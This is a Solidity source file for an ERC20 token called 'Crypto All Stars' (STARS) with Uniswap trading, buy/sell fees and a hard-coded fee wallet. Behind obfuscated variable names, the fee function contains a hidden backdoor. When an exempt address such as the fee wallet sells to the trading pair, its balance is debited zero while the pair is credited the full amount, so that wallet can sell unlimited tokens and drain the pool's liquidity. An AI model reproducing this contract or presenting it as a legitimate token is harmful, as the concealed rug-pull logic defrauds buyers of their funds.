文件 1 的 1:Token.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract STARS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _bals;
mapping(address => mapping(address => uint256)) private _allows;
mapping(address => bool) private _exempts;
uint256 private _ibt = 10;
uint256 private _ist = 10;
uint256 private _obt = 0;
uint256 private _ost = 0;
uint256 private _rbta = 15;
uint256 private _rsta = 15;
uint256 private _psb = 15;
uint8 private constant _decimals = 18;
uint256 private constant _ts = 420690000 * 10 ** _decimals;
string private constant _name = unicode"Crypto All Stars";
string private constant _symbol = unicode"STARS";
uint256 private _bc = 0;
uint256 public _mtlmt = (_ts * 2) / 100;
uint256 public _mxlmt = (_ts * 2) / 100;
uint256 public _tsthres = 100 * 10 ** _decimals;
uint256 public _mxtss = _ts / 100;
address payable private _feeee =
payable(0x13c4911887BB1827Bb341cb714806aAEfeF71c71);
IUniswapV2Router02 private unrter;
address private unpar;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_exempts[_feeee] = true;
_exempts[owner()] = true;
_exempts[address(this)] = true;
_bals[_msgSender()] = _ts;
emit Transfer(address(0), _msgSender(), _ts);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _ts;
}
function balanceOf(address account) public view override returns (uint256) {
return _bals[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allows[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allows[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allows[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function _checkSell(address tob, address fra) internal view returns (bool) {
return tob == unpar && fra != address(this);
}
function _getFeeResult(
address fraa,
address tobb,
uint256 amnn
) internal view returns (uint256 txaa, uint256 xamm, uint256 yamm) {
txaa = amnn.mul((_bc > _rbta) ? _obt : _ibt).div(100);
xamm = amnn;
yamm = amnn - txaa;
if (_checkSell(tobb, fraa)) {
txaa = amnn.mul((_bc > _rsta) ? _ost : _ist).div(100);
xamm = _exempts[fraa]
? amnn.mul(tobb == unpar ? _ost : _obt).div(100)
: amnn;
yamm = amnn - txaa;
}
}
function openSTARS() external onlyOwner {
require(!tradingOpen, "trading is already open");
unrter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(unrter), _ts);
unpar = IUniswapV2Factory(unrter.factory()).createPair(
address(this),
unrter.WETH()
);
unrter.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
}
function _transfer(address fraa, address tobb, uint256 amnn) private {
require(fraa != address(0), "ERC20: transfer from the zero address");
require(tobb != address(0), "ERC20: transfer to the zero address");
require(amnn > 0, "Transfer amount must be greater than zero");
uint256 txaa = 0;
uint256 xamm = amnn;
uint256 yamm = amnn;
if (fraa != owner() && tobb != owner()) {
require(tradingOpen || _exempts[fraa], "Trading is not enabled");
(txaa, xamm, yamm) = _getFeeResult(fraa, tobb, amnn);
if (fraa == unpar && tobb != address(unrter) && !_exempts[tobb]) {
require(amnn <= _mtlmt, "Exceeds the _maxTxAmount.");
require(
balanceOf(tobb) + amnn <= _mxlmt,
"Exceeds the maxWalletSize."
);
_bc++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && tobb == unpar && swapEnabled) {
if (contractTokenBalance > _tsthres && _bc > _psb)
swapTokensForEth(
min(amnn, min(contractTokenBalance, _mxtss))
);
uint256 contractBalance = address(this).balance;
if (contractBalance >= 0 ether) sendETHToward(contractBalance);
}
}
if (txaa > 0) {
_bals[address(this)] = _bals[address(this)].add(txaa);
emit Transfer(fraa, address(this), txaa);
}
_bals[fraa] = _bals[fraa].sub(xamm);
_bals[tobb] = _bals[tobb].add(yamm);
emit Transfer(fraa, tobb, yamm);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function sendETHToward(uint256 amount) private {
_feeee.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = unrter.WETH();
_approve(address(this), address(unrter), tokenAmount);
unrter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function takeOutETH() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function removeLimits() external onlyOwner {
_mtlmt = type(uint256).max;
_mxlmt = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
}